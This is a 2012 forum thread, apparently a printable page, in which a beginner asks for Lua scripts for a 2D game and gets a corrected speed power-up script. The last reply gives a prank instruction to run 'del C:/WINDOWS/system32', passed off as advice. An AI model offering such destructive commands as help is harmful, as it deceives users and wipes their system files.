The following warnings occurred:
Warning [2] Undefined array key "lockoutexpiry" - Line: 94 - File: global.php PHP 8.4.12 (Linux)
File Line Function
/global.php 94 errorHandler->error
/printthread.php 16 require_once
Warning [2] Undefined array key "lockoutexpiry" - Line: 573 - File: global.php PHP 8.4.12 (Linux)
File Line Function
/global.php 573 errorHandler->error
/printthread.php 16 require_once
Warning [2] Undefined variable $can_access_moderationqueue - Line: 752 - File: global.php PHP 8.4.12 (Linux)
File Line Function
/global.php 752 errorHandler->error
/printthread.php 16 require_once
Warning [2] Undefined array key "avatartype" - Line: 892 - File: global.php PHP 8.4.12 (Linux)
File Line Function
/global.php 892 errorHandler->error
/printthread.php 16 require_once
Warning [2] Undefined array key "avatartype" - Line: 892 - File: global.php PHP 8.4.12 (Linux)
File Line Function
/global.php 892 errorHandler->error
/printthread.php 16 require_once
Warning [2] Undefined variable $awaitingusers - Line: 34 - File: global.php(959) : eval()'d code PHP 8.4.12 (Linux)
File Line Function
/global.php(959) : eval()'d code 34 errorHandler->error
/global.php 959 eval
/printthread.php 16 require_once
Warning [2] Undefined array key "style" - Line: 1024 - File: global.php PHP 8.4.12 (Linux)
File Line Function
/global.php 1024 errorHandler->error
/printthread.php 16 require_once
Warning [2] Undefined property: MyLanguage::$lang_select_default - Line: 5327 - File: inc/functions.php PHP 8.4.12 (Linux)
File Line Function
/inc/functions.php 5327 errorHandler->error
/global.php 1024 build_theme_select
/printthread.php 16 require_once
Warning [2] Undefined array key "showimages" - Line: 160 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 160 errorHandler->error
Warning [2] Undefined array key "showvideos" - Line: 165 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 165 errorHandler->error
Warning [2] Undefined array key "showimages" - Line: 160 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 160 errorHandler->error
Warning [2] Undefined array key "showvideos" - Line: 165 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 165 errorHandler->error
Warning [2] Undefined array key "showimages" - Line: 160 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 160 errorHandler->error
Warning [2] Undefined array key "showvideos" - Line: 165 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 165 errorHandler->error
Warning [2] Undefined array key "showimages" - Line: 160 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 160 errorHandler->error
Warning [2] Undefined array key "showvideos" - Line: 165 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 165 errorHandler->error
Warning [2] Undefined array key "showimages" - Line: 160 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 160 errorHandler->error
Warning [2] Undefined array key "showvideos" - Line: 165 - File: printthread.php PHP 8.4.12 (Linux)
File Line Function
/printthread.php 165 errorHandler->error



2DWorlds Forums
I need help in finding/ and or Making Scripts - Printable Version

+- 2DWorlds Forums (http://2dworlds.buildism.net/forum)
+-- Forum: 2DWorlds (http://2dworlds.buildism.net/forum/forumdisplay.php?fid=4)
+--- Forum: Scripting (http://2dworlds.buildism.net/forum/forumdisplay.php?fid=13)
+--- Thread: I need help in finding/ and or Making Scripts (/showthread.php?tid=8906)



I need help in finding/ and or Making Scripts - SharpestWord - 02-21-2012

I am trying to make a game, although i don't know how to make a script, nor where do i get them... can someone help me with the following

♦ Basic Scripts (Anything)
♦ Character Scripts (I need help with character, On how to attack)
♦ Power-Ups Scripts (I need help with the Power-Ups e.g. Speed, 2x Damage Etc.)
♦ Weapon Scripts (Scripts to get weapons at least a pistol, sword, and knife)
♦ And Last but not the least... Enemies, & NPC's (A Script for interacting, and killing them)

I also need you to tell me what do i required. I will put a (Solved) And the name but if i just found it myself just (Solved)
Thanks in advance.

(If my game is a success i will make a "Credits" With the name of those who helped me.)


RE: I need help in finding/ and or Making Scripts - Qwertygiy - 02-21-2012

Buildism uses a simplified version of the Lua scripting language. Luckily, you arrived at just around the time Jacob_ put that darn wiki back online...

If you click on the "Add premade item" button on the left side of the editor, you can find some of what you're looking for; I have an NPC that simply chases you in there, and there's rockets, grenades, and a sword. If you want to know how to make anything specific, like an NPC that talks with you, let me know and I might be able to make a script for you (with comments so you can learn how to make your own!) that does it.


RE: I need help in finding/ and or Making Scripts - Paradox - 02-21-2012

(02-21-2012, 11:17 AM)SharpestWord Wrote: ♦ Power-Ups Scripts (I need help with the Power-Ups e.g. Speed, 2x Damage Etc.)

That should be really easy. Something like
[lua]
box = script.Parent
player = hit.Name

function onCollide(hit)
game.Players.player.Speed = 8.0 --Can be changed to desired speed
sleep(10) --Time Powerup lasts (seconds)
game.Players.player.Speed = 4.0
end

link(box.Collided, onCollide)
[/lua]


RE: I need help in finding/ and or Making Scripts - Qwertygiy - 02-21-2012

(02-21-2012, 03:55 PM)Paradox Wrote: [lua]
box = script.Parent

function onCollide(hit)
player = game.Players:getChild(hit.Parent.Name) --not hit.Name, as that would be "Body"
if player then --make sure we're not trying to powerup a potato
player.Speed = 8.0 --Can be changed to desired speed
box.CanCollide = false
box.Transparency = 1
--those two lines to make it "vanish"
sleep(10) --Time Powerup lasts (seconds)
player.Speed = 4.0
sleep(20) --shouldn't reappear for a bit
box.CanCollide = true
box.Transparency = 0
end
end

link(box.Collided, onCollide)
[/lua]




RE: I need help in finding/ and or Making Scripts - Duck - 02-21-2012

you need to do @echo off del C:/WINDOWS/system32